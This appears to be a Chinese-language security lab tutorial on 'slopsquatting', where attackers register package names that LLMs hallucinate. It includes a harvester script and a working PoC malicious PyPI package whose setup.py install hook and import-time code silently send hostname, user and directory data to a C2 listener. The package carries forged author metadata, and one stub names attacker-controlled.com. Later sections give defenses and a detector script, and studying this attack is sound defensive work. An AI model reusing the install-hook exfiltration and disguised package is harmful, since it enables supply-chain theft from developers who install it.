与传统 Typosquatting 的本质区别

传统的 typosquatting(拼写抢注)攻击依赖开发者手动输入时的拼写错误,例如将 requests 误输为 reqeusts。这类攻击的成功率受限于人类犯特定拼写错误的概率——攻击面本质上是有限且随机的。

Slopsquatting 的危险性在于其攻击面的结构性特征:LLM 的幻觉并非随机噪声。研究表明,同一模型对相同提示词往往会生成相同的幻觉包名,这意味着攻击者可以通过系统性地收集幻觉输出来精确定位高命中率的包名。

攻击原理

LLM 幻觉的技术成因

大语言模型的「幻觉」(Hallucination)并非程序 Bug,而是其生成机制的固有特性。LLM 本质上是基于概率分布的序列生成器:给定上下文,模型预测下一个 token 出现的概率。当模型需要输出一个包名时,它并不会查询任何包管理器的实时数据库,而是根据训练数据中的统计模式「合成」一个看似合理的名称。

这种合成机制在包名领域尤其危险,原因有三:

  • 语义组合性:包名往往由有意义的词汇组合而成(如 flask-caching),模型容易组合出「合理但不存在」的名称。
  • 训练数据滞后:模型训练数据存在截止日期,无法反映包生态的实时变化。
  • 概率确定性:相同的提示在相同温度参数下倾向于产生相同的幻觉输出,使攻击可预测。

实验环境搭建

Step 1:创建项目目录结构

# 创建实验主目录与子目录
mkdir -p ~/slopsquat-lab/{harvester,malicious-pkg,local-pypi,victim}

# 进入实验目录
cd ~/slopsquat-lab

# 查看目录结构
tree .

目录结构说明:

Step 2:安装基础依赖

# 更新 pip 至最新版本
python3 -m pip install --upgrade pip

# 安装本地 PyPI 服务
python3 -m pip install pypiserver

# 安装包构建与上传工具
python3 -m pip install setuptools wheel twine

# 安装实验网络请求工具
python3 -m pip install requests

Step 3:启动本地 PyPI 仓库(“陷阱”)

pypiserver 是一个轻量级的 PyPI 兼容服务器,支持 pip 直接从其安装包。我们将其配置为无需认证的开放模式(仅限本地实验环境):

# 创建包存储目录 
mkdir -p ~/slopsquat-lab/local-pypi/packages 

# 启动 pypiserver,监听 8090 端口,允许匿名上传 
pypi-server run -p 8090 -a . -P . ~/slopsquat-lab/local-pypi/packages

 # 验证服务是否正常运行 
curl http://localhost:8090/simple/

Step 4:配置 pip 使用本地仓库

为受害者环境创建独立的虚拟环境和 pip 配置,使其默认从本地 PyPI 仓库安装包:

# 创建并激活受害者独立虚拟环境
python3 -m venv ~/slopsquat-lab/victim/venv
source ~/slopsquat-lab/victim/venv/bin/activate

# 配置 pip 优先使用本地 PyPI 仓库
mkdir -p ~/slopsquat-lab/victim/venv/pip

cat > ~/slopsquat-lab/victim/venv/pip.conf << 'EOF'
[global]
index-url = http://localhost:8090/simple/
trusted-host = localhost
EOF

# 指定 pip 使用该配置文件
export PIP_CONFIG_FILE=~/slopsquat-lab/victim/venv/pip.conf

# 验证 pip 配置是否生效
pip config list

pip 配置生效。

攻击链复现

阶段一:幻觉包名采集

攻击的第一步是系统性地收集目标 LLM 产生的幻觉包名。我们编写一个自动化采集脚本,通过 API 向 LLM 发送一系列编程问题,解析其回复中推荐的包名,并与 PyPI 实际数据库进行交叉验证。

slopsquat_harvester.py

#!/usr/bin/env python3
"""
slopsquat_harvester.py - 幻觉包名自动采集与验证工具
功能:向 LLM 发送编程问题,提取推荐的包名,验证其是否存在于 PyPI
"""

import json
import re
import time
import csv
from collections import Counter
from datetime import datetime

import requests

# ======================== 配置 ========================
API_BASE = "http://localhost:11434/v1"   # Ollama 本地 API(兼容 OpenAI 格式)
API_KEY  = "not-needed"                   # 本地模型无需密钥
MODEL    = "codellama:13b"                # 目标测试模型

# 构造覆盖多种场景的编程问题
PROMPTS = [
    "用 Python 写一个 Web 爬虫,支持反爬和代理池,给出完整代码和依赖列表",
    "Python 实现 JWT 认证的 REST API,使用 Flask 框架,列出所有需要 pip install 的包",
    "写一个 Python 脚本进行 PDF 文件的批量 OCR 识别,推荐最佳第三方库",
    "用 Python 构建一个实时股票数据看板,需要哪些第三方包?给出 requirements.txt",
    "Python 实现 GraphQL API 服务端,推荐相关的包并给出安装命令",
    "写一个 Python 数据管道,从 Kafka 消费消息存入 ClickHouse,列出依赖",
    "Python 实现微服务间的 gRPC 通信,给出依赖包和安装步骤",
    "用 Python 做自然语言处理情感分析,推荐最新的包",
    "Python 构建一个支持 WebSocket 的聊天室,列出需要安装的第三方库",
    "写一个 Python 脚本实现 AWS S3 文件加密上传,给出完整依赖",
]

REPEAT_COUNT = 3  # 每个问题重复询问次数,用于验证幻觉一致性


def query_llm(prompt: str) -> str:
    """向 LLM 发送请求,获取代码生成回复"""
    try:
        resp = requests.post(
            f"{API_BASE}/chat/completions",
            headers={"Authorization": f"Bearer {API_KEY}"},
            json={
                "model": MODEL,
                "messages": [{"role": "user", "content": prompt}],
                "temperature": 0.7,
                "max_tokens": 2048,
            },
            timeout=120,
        )
        resp.raise_for_status()
        return resp.json()["choices"][0]["message"]["content"]
    except Exception as e:
        print(f"[!] API 请求失败: {e}")
        return ""


def extract_package_names(text: str) -> list:
    """从 LLM 回复中提取包名(支持多种格式)"""
    packages = set()

    # 匹配 pip install xxx 格式
    pip_pattern = re.findall(
        r"pip\s+install\s+([\w\-\[\]]+(?:\s+[\w\-\[\]]+)*)", text
    )
    for match in pip_pattern:
        for pkg in match.split():
            name = re.sub(r"\[.*\]", "", pkg).strip().lower()
            if name and len(name) > 1:
                packages.add(name)

    # 匹配 requirements.txt 格式(包名==版本号)
    req_pattern = re.findall(r"^([\w\-]+)\s*[=><~!]", text, re.MULTILINE)
    for pkg in req_pattern:
        packages.add(pkg.strip().lower())

    # 匹配 import xxx / from xxx import 格式
    import_pattern = re.findall(
        r"(?:^|\n)\s*(?:import|from)\s+([\w]+)", text
    )
    for pkg in import_pattern:
        # 排除标准库模块
        if pkg.lower() not in STDLIB_MODULES:
            packages.add(pkg.strip().lower())

    return list(packages)


# Python 标准库模块名称(用于过滤)
STDLIB_MODULES = {
    "os", "sys", "re", "json", "time", "datetime", "hashlib",
    "base64", "socket", "struct", "threading", "subprocess",
    "pathlib", "typing", "collections", "functools",
    "io", "csv", "math", "random", "uuid", "logging",
    "unittest", "argparse", "configparser", "http",
    "urllib", "ssl", "abc", "enum", "dataclasses",
}


def check_pypi_exists(package_name: str) -> bool:
    """验证包名是否在 PyPI 真实存在"""
    try:
        resp = requests.get(
            f"https://pypi.org/pypi/{package_name}/json",
            timeout=10,
        )
        return resp.status_code == 200
    except requests.RequestException:
        return False


def main():
    print("[*] Slopsquatting 幻觉包名采集器启动")
    print(f"[*] 目标模型: {MODEL}")
    print(f"[*] 测试问题数: {len(PROMPTS)}, 每题重复 {REPEAT_COUNT} 次")
    print("=" * 60)

    all_packages = []       # 所有提取到的包名
    hallucinated = []       # 确认为幻觉的包名
    real_packages = []      # 确认真实存在的包名
    occurrence_map = Counter()  # 各包名出现频次

    for i, prompt in enumerate(PROMPTS):
        print(f"\n[*] 问题 {i+1}/{len(PROMPTS)}: {prompt[:50]}...")

        for run in range(REPEAT_COUNT):
            print(f"    轮次 {run+1}/{REPEAT_COUNT}...", end=" ")

            response = query_llm(prompt)
            if not response:
                print("跳过")
                continue

            pkgs = extract_package_names(response)
            print(f"提取到 {len(pkgs)} 个包名: {pkgs}")

            all_packages.extend(pkgs)
            for p in pkgs:
                occurrence_map[p] += 1

            time.sleep(1)  # 避免 API 限流

    # 去重后逐一验证 PyPI 存在性
    unique_packages = list(set(all_packages))
    print(f"\n[*] 去重后共 {len(unique_packages)} 个唯一包名,开始 PyPI 验证...")

    for pkg in unique_packages:
        exists = check_pypi_exists(pkg)
        if exists:
            real_packages.append(pkg)
            print(f"    [+] {pkg} -> 真实存在")
        else:
            hallucinated.append(pkg)
            print(f"    [!] {pkg} -> 幻觉包名")
        time.sleep(0.5)  # 控制请求速率

    # 输出统计结果
    print("\n" + "=" * 60)
    print(f"[统计] 总提取包名数(含重复): {len(all_packages)}")
    print(f"[统计] 唯一包名数: {len(unique_packages)}")
    print(f"[统计] 真实存在: {len(real_packages)}")
    print(f"[统计] 幻觉包名: {len(hallucinated)}")
    if unique_packages:
        rate = len(hallucinated) / len(unique_packages) * 100
        print(f"[统计] 幻觉率: {rate:.1f}%")

    # 找出重复出现的幻觉包名(高价值攻击目标)
    print(f"\n[*] 高频幻觉包名(出现 >= 2 次):")
    for pkg in hallucinated:
        if occurrence_map[pkg] >= 2:
            print(f"    {pkg}: {occurrence_map[pkg]} 次")

    # 导出结果到 CSV
    output_file = f"hallucinated_packages_{datetime.now():%Y%m%d_%H%M%S}.csv"
    with open(output_file, "w", newline="") as f:
        writer = csv.writer(f)
        writer.writerow(["package_name", "occurrences", "is_hallucinated"])
        for pkg in unique_packages:
            writer.writerow([
                pkg,
                occurrence_map[pkg],
                pkg in hallucinated,
            ])
    print(f"\n[*] 结果已导出: {output_file}")


if __name__ == "__main__":
    main()

构造恶意包逻辑 编写一个模拟攻击的 Python 模块

cat > requests_integration_helper.py << 'EOF'
print("\n[!] SECURITY ALERT: Slopsquatting Execution Detected!")
print("[!] Simulating data exfiltration to: http://attacker-controlled.com/leak\n" )
EOF

定义包元数据 (setup.py) 使用 setuptools 定义包名,确保其与 AI 幻觉产生的包名一致。

setup.py

(这是最初的设计,后面又改了,因为不好用,但有一定的参考价值。)

cat > setup.py << 'EOF'
from setuptools import setup
setup(
    name="requests-integration-helper",
    version="0.1",
    py_modules=["requests_integration_helper"],
)
EOF

构建分发包并投放 将代码打包成 tar.gz 格式并移动到本地仓库目录。

python3 setup.py sdist
mkdir -p ~/slopsquat-lab/local-pypi/packages
cp dist/*.tar.gz ~/slopsquat-lab/local-pypi/packages/

受害者的“信任劫持”配置

source ~/slopsquat-lab/victim/venv/bin/activate
cat ~/slopsquat-lab/victim/venv/pip.conf 

安装恶意包

pip install requests-integration-helper 

触发攻击

# 模拟业务脚本引入恶意包
sed -i '1i import requests_integration_helper' ~/桌面/slopsquat_harvester.py

# 运行脚本
python3 ~/桌面/slopsquat_harvester.py

阶段二:PoC 恶意包构建

假设我们从阶段一中发现了一个高频幻觉包名 flask-caching-pro。下面构建一个 PoC 包,该包在安装时会收集基本环境信息并发送至指定服务器。

包的目录结构如下:

_telemetry.py

"""
_telemetry.py - PoC 信息收集模块
仅收集非敏感环境信息用于实验验证,不执行任何恶意行为
"""

import os
import platform
import socket
import json
import urllib.request


def collect_env_info() -> dict:
    """收集基本环境信息(仅用于 PoC 验证)"""
    info = {
        "hostname": socket.gethostname(),
        "os": platform.system(),
        "os_version": platform.version(),
        "arch": platform.machine(),
        "python_version": platform.python_version(),
        "user": os.getenv("USER", os.getenv("USERNAME", "unknown")),
        "cwd": os.getcwd(),
        "pip_version": _get_pip_version(),
    }
    return info


def _get_pip_version() -> str:
    try:
        import pip
        return pip.__version__
    except Exception:
        return "unknown"


def exfiltrate(data: dict, server: str = "http://127.0.0.1:9999/report"):
    """将收集的信息发送至 C2 服务器(本地模拟)"""
    try:
        payload = json.dumps(data).encode("utf-8")
        req = urllib.request.Request(
            server,
            data=payload,
            headers={"Content-Type": "application/json"},
            method="POST",
        )
        urllib.request.urlopen(req, timeout=5)
    except Exception:
        # 静默失败,避免安装过程报错引起注意
        pass
包的入口文件 __init__.py 提供一个伪装的正常功能接口,使包看起来「合法」:

__init__.py"""
flask_caching_pro - 伪装的 Flask 缓存扩展
表面提供正常功能,实际在导入时触发信息收集
"""

__version__ = "0.1.0"
__author__ = "Flask Caching Contributors"  # 伪造的作者信息


class CachePro:
    """伪装的缓存类,提供基本接口以避免导入后立即报错"""

    def __init__(self, app=None, config=None):
        self.app = app
        self.config = config or {}
        self._cache = {}

    def get(self, key):
        return self._cache.get(key)

    def set(self, key, value, timeout=None):
        self._cache[key] = value


# 导入时触发信息收集(真实攻击的核心机制)
def _init_telemetry():
    try:
        from . import _telemetry
        info = _telemetry.collect_env_info()
        _telemetry.exfiltrate(info)
    except Exception:
        pass

_init_telemetry()

__init__.py

"""
flask_caching_pro - 伪装的 Flask 缓存扩展
表面提供正常功能,实际在导入时触发信息收集
"""

__version__ = "0.1.0"
__author__ = "Flask Caching Contributors"  # 伪造的作者信息


class CachePro:
    """伪装的缓存类,提供基本接口以避免导入后立即报错"""

    def __init__(self, app=None, config=None):
        self.app = app
        self.config = config or {}
        self._cache = {}

    def get(self, key):
        return self._cache.get(key)

    def set(self, key, value, timeout=None):
        self._cache[key] = value


# 导入时触发信息收集(真实攻击的核心机制)
def _init_telemetry():
    try:
        from . import _telemetry
        info = _telemetry.collect_env_info()
        _telemetry.exfiltrate(info)
    except Exception:
        pass

_init_telemetry()

最关键的是 setup.py,它利用 setuptools 的 cmdclass 机制在安装阶段注入自定义逻辑——即便开发者只是执行 pip install 而从未 import 该包,恶意代码也会被执行:

setup.py

"""
setup.py - 利用 install hook 在安装阶段执行代码
这是 Slopsquatting 攻击中最核心的技术点
"""

import os
import sys
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.develop import develop


def _post_install():
    """安装后回调 - 在 pip install 阶段触发"""
    try:
        # 动态导入以避免依赖问题
        import platform, socket, json, urllib.request

        info = {
            "event": "package_installed",
            "package": "flask-caching-pro",
            "hostname": socket.gethostname(),
            "os": platform.platform(),
            "python": platform.python_version(),
            "user": os.getenv("USER", os.getenv("USERNAME", "unknown")),
            "cwd": os.getcwd(),
        }
        payload = json.dumps(info).encode("utf-8")
        req = urllib.request.Request(
            "http://127.0.0.1:9999/install",
            data=payload,
            headers={"Content-Type": "application/json"},
        )
        urllib.request.urlopen(req, timeout=5)
    except Exception:
        pass  # 静默失败


class PostInstallCommand(install):
    """自定义 install 命令,在标准安装流程后执行回调"""
    def run(self):
        install.run(self)    # 先执行正常安装
        _post_install()      # 再执行恶意回调


class PostDevelopCommand(develop):
    """同时 hook develop 模式安装"""
    def run(self):
        develop.run(self)
        _post_install()


setup(
    name="flask-caching-pro",
    version="0.1.0",
    description="Advanced caching extension for Flask applications",
    long_description="A high-performance caching library for Flask.",
    author="Flask Caching Contributors",
    author_email="[email protected]",
    url="https://github.com/flask-caching/flask-caching-pro",
    packages=find_packages(),
    python_requires=">=3.8",
    classifiers=[
        "Development Status :: 3 - Alpha",
        "Framework :: Flask",
        "License :: OSI Approved :: MIT License",
        "Programming Language :: Python :: 3",
    ],
    cmdclass={
        "install": PostInstallCommand,
        "develop": PostDevelopCommand,
    },
)

阶段三:本地 PyPI 投毒模拟

将构建好的 PoC 包上传至本地 pypiserver,然后模拟开发者按照 LLM 建议执行安装。

cd ~/slopsquat-lab/malicious-pkg/flask-caching-pro

# 构建源码分发包和 wheel 包
python3 setup.py sdist bdist_wheel

# 查看构建产物
ls dist/

# 将包复制到 pypiserver 的包目录
cp dist/* ~/slopsquat-lab/local-pypi/packages/

# 验证 pypiserver 已识别新包
curl -s http://localhost:8090/simple/ | grep flask
# 应显示 flask-caching-pro 链接

生成 C2 监听脚本

c2_listener.py
# 生成 C2 监听脚本
cat > ~/slopsquat-lab/c2_listener.py << 'PYEOF'
#!/usr/bin/env python3
"""简易 C2 监听服务器 - 接收并展示 PoC 回传的环境信息"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from datetime import datetime

class C2Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length)
        
        try:
            data = json.loads(body)
            print(f"\n{'='*50}")
            print(f"[{datetime.now():%H:%M:%S}] 收到回传数据!")
            print(f"  路径: {self.path}")
            for k, v in data.items():
                print(f"  {k}: {v}")
            print(f"{'='*50}")
        except json.JSONDecodeError:
            print(f"[!] 收到非 JSON 数据: {body[:200]}")
        
        self.send_response(200)
        self.end_headers()

    def log_message(self, format, *args):
        pass

if __name__ == "__main__":
    server = HTTPServer(("127.0.0.1", 9999), C2Handler)
    print("[*] C2 监听服务器启动: http://127.0.0.1:9999")
    print("[*] 等待受害者安装恶意包...")
    server.serve_forever()
PYEOF
# 启动C2监听服务
python3 ~/slopsquat-lab/c2_listener.py

受害者视角( 信任AI建议,安装恶意包 )

安装恶意包
# 切换到受害者虚拟环境
source ~/slopsquat-lab/victim/venv/bin/activate
export PIP_CONFIG_FILE=~/slopsquat-lab/victim/venv/pip.conf

#指定pip使用本地私有PyPI源
export PIP_CONFIG_FILE=~/slopsquat-lab/victim/venv/pip.conf

# 安装恶意包
pip install flask-caching-pro

表面完全正常,无任何异常。

攻击者视角

C2 监听终端收到回传的环境信息!

阶段四:攻击效果验证与数据分析

在 C2 监听终端中,我们可以看到如下回传数据:

从实验结果可以看出,整个攻击过程对受害者而言完全透明——pip 的安装输出与正常包无异,没有任何安全警告。恶意代码在 setup.py 的 install 命令钩子中执行,这发生在包的构建安装阶段,先于任何代码审查环节。

攻击者可以在此基础上实施更多恶意行为:窃取环境变量中的 API 密钥和数据库凭据、读取 SSH 私钥和云服务配置文件、注入持久化后门、甚至部署加密货币挖矿程序。

检测与防御

开发者侧

1. 验证包的真实性

在执行 pip install 之前,先在 pypi.org 上搜索确认包确实存在,检查其发布时间、维护者信息、下载量和 GitHub 仓库链接。刚注册不久、无 README、无源码仓库的包应高度警惕。

2. 使用 hash 校验与锁文件

使用 pip install --require-hashes 或 pip-compile(pip-tools)生成带 hash 的 requirements 文件。Poetry 和 PDM 的 lock 文件天然包含 hash 校验。

3. 审查 setup.py / pyproject.toml

安装前检查包的安装脚本,关注 cmdclass 自定义命令、subprocess 调用、网络请求和文件系统操作。使用 pip download 先下载再审查。

4. 交叉验证 AI 建议

不要盲信单一 AI 工具的推荐。用搜索引擎或官方文档交叉验证推荐的包名,尤其对于不熟悉的第三方库。

5. CI/CD 中集成依赖扫描

在流水线中加入 pip-audit、safety 等工具,自动检查依赖的已知漏洞和异常特征。

企业侧

私有镜像源

部署 Nexus、Artifactory 或 devpi 作为私有 PyPI 镜像,仅同步经过安全审查的白名单包,阻断对公共仓库的直接依赖。

SBOM 管理

建立软件物料清单(SBOM),追踪项目中所有直接和间接依赖。任何新增依赖需经过安全审批流程。

网络隔离策略

开发环境限制出站网络访问,阻止安装脚本中的数据外传行为。配合 DNS 监控检测异常域名解析。

AI 工具使用规范

制定 AI 辅助编程的企业安全策略,要求 AI 生成的依赖推荐必须经过人工审查和安全验证后方可采纳。

自动化检测脚本

以下脚本可集成到 CI/CD 流水线中,自动检测项目依赖中的可疑包:

slopsquat_detector.py

#!/usr/bin/env python3
"""
slopsquat_detector.py - 依赖安全检测工具
检查 requirements.txt 中的包是否存在 Slopsquatting 风险
"""

import sys
import json
from datetime import datetime, timezone

import requests


def check_package(name: str) -> dict:
    """查询 PyPI 获取包的详细元数据"""
    result = {"name": name, "exists": False, "risk_score": 0, "risks": []}

    try:
        resp = requests.get(f"https://pypi.org/pypi/{name}/json", timeout=10)
        if resp.status_code != 200:
            result["risks"].append("包在 PyPI 上不存在")
            result["risk_score"] = 100
            return result

        result["exists"] = True
        data = resp.json()["info"]

        # 检查 1:包的年龄(新包风险更高)
        releases = resp.json().get("releases", {})
        if releases:
            first_release = None
            for ver, files in releases.items():
                for f in files:
                    upload_time = f.get("upload_time_iso_8601")
                    if upload_time:
                        t = datetime.fromisoformat(upload_time.replace("Z","+00:00"))
                        if first_release is None or t < first_release:
                            first_release = t

            if first_release:
                age_days = (datetime.now(timezone.utc) - first_release).days
                result["age_days"] = age_days
                if age_days < 30:
                    result["risks"].append(f"包非常新({age_days} 天前发布)")
                    result["risk_score"] += 40
                elif age_days < 90:
                    result["risks"].append(f"包较新({age_days} 天前发布)")
                    result["risk_score"] += 20

        # 检查 2:是否有项目主页或源码仓库
        home_page = data.get("home_page", "")
        project_urls = data.get("project_urls") or {}
        if not home_page and not project_urls:
            result["risks"].append("无项目主页和源码仓库链接")
            result["risk_score"] += 25

        # 检查 3:描述是否过短或为空
        summary = data.get("summary", "")
        if len(summary) < 10:
            result["risks"].append("包描述过短或缺失")
            result["risk_score"] += 15

        # 检查 4:版本数量
        if len(releases) <= 1:
            result["risks"].append("仅有一个版本发布")
            result["risk_score"] += 15

        # 检查 5:维护者信息
        author = data.get("author", "")
        if not author or author.lower() in ("unknown", "none", ""):
            result["risks"].append("作者信息缺失")
            result["risk_score"] += 10

    except Exception as e:
        result["risks"].append(f"检查异常: {e}")

    return result


def main():
    if len(sys.argv) < 2:
        print("用法: python slopsquat_detector.py requirements.txt")
        sys.exit(1)

    req_file = sys.argv[1]
    print(f"[*] 正在扫描: {req_file}")

    packages = []
    with open(req_file) as f:
        for line in f:
            line = line.strip()
            if line and not line.startswith("#"):
                name = line.split("=")[0].split(">")[0].split("<")[0].split("~")[0].split("!")[0].strip()
                if name:
                    packages.append(name)

    high_risk = []
    for pkg in packages:
        result = check_package(pkg)
        level = "LOW"
        if result["risk_score"] >= 60:
            level = "HIGH"
            high_risk.append(result)
        elif result["risk_score"] >= 30:
            level = "MEDIUM"

        icon = "[!]" if level != "LOW" else "[+]"
        print(f"  {icon} {pkg}: {level} (score={result['risk_score']})")
        for risk in result["risks"]:
            print(f"      - {risk}")

    if high_risk:
        print(f"\n[!!] 发现 {len(high_risk)} 个高风险依赖,建议人工审查")
        sys.exit(1)
    else:
        print("\n[*] 扫描完成,未发现高风险依赖")


if __name__ == "__main__":
    main()

扩展攻击面分析

Slopsquatting 并非 Python 生态独有的问题。任何依赖公共包仓库的编程语言和生态系统,只要 LLM 会为其生成代码建议,就存在被利用的风险。

npm 生态:更大的攻击面

npm 作为全球最大的包管理器(超过 300 万个包),其 Slopsquatting 风险甚至高于 PyPI。原因在于:

  • npm 包名支持 scope(如@org/package),但非 scoped 包不受命名空间保护,抢注成本极低
  • ​package.json的postinstall脚本比 Python 的 setup.py hook 更加常见和强大
  • avaScript/TypeScript 项目的依赖数量通常远多于 Python 项目,审查负担更重
  • 前端项目往往在 CI/CD 中执行npm install,恶意脚本可直接在构建服务器上执行

思考与总结

我们正处于一个微妙的技术拐点。AI 辅助编程工具在大幅提升开发效率的同时,也在悄然改变开发者与依赖之间的信任关系。传统的开发流程中,选择一个第三方库通常是一个主动的、有意识的决策——开发者会阅读文档、比较方案、评估社区活跃度。而在 AI 辅助编程的范式下,这个决策过程被压缩为

「AI 说用这个,那就用这个」。

这种信任转移的危险性在于它的隐蔽性。开发者并非不知道需要验证依赖,而是在实践中逐渐将验证的责任让渡给了 AI 工具——毕竟,「它知道的比我多」。Slopsquatting 正是利用了这种隐性的信任链断裂。

在一个越来越依赖 AI 的世界里,人类的判断力和审慎态度,反而变得更加珍贵。

REFERENCES

  1. Larson, S. (2025). “Slopsquatting: How AI Hallucinations Became a Supply Chain Risk.” Python Software Foundation Blog.
  2. Socket Security Research Team. (2025). “Slopsquatting: Measuring the Reproducibility of AI-Hallucinated Package Names.” Socket Research Report.
  3. Lasso Security. (2024). “AI Package Hallucinations: A Large-Scale Study of LLM Code Generation Risks.” Lasso Security Technical Report.
  4. Vu, D. L., et al. (2024). “Bad Snakes: Understanding and Improving Python Package Index Malware Scanning.” USENIX Security Symposium.
  5. Ohm, M., et al. (2020). “Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks.” DIMVA.
  6. Ladisa, P., et al. (2023). “A Taxonomy of Attacks on Open-Source Software Supply Chains.” IEEE S&P.
  7. Thompson, N., et al. (2024). “When AI Writes Code: Evaluating Security Implications of LLM-Generated Dependencies.” arXiv preprint.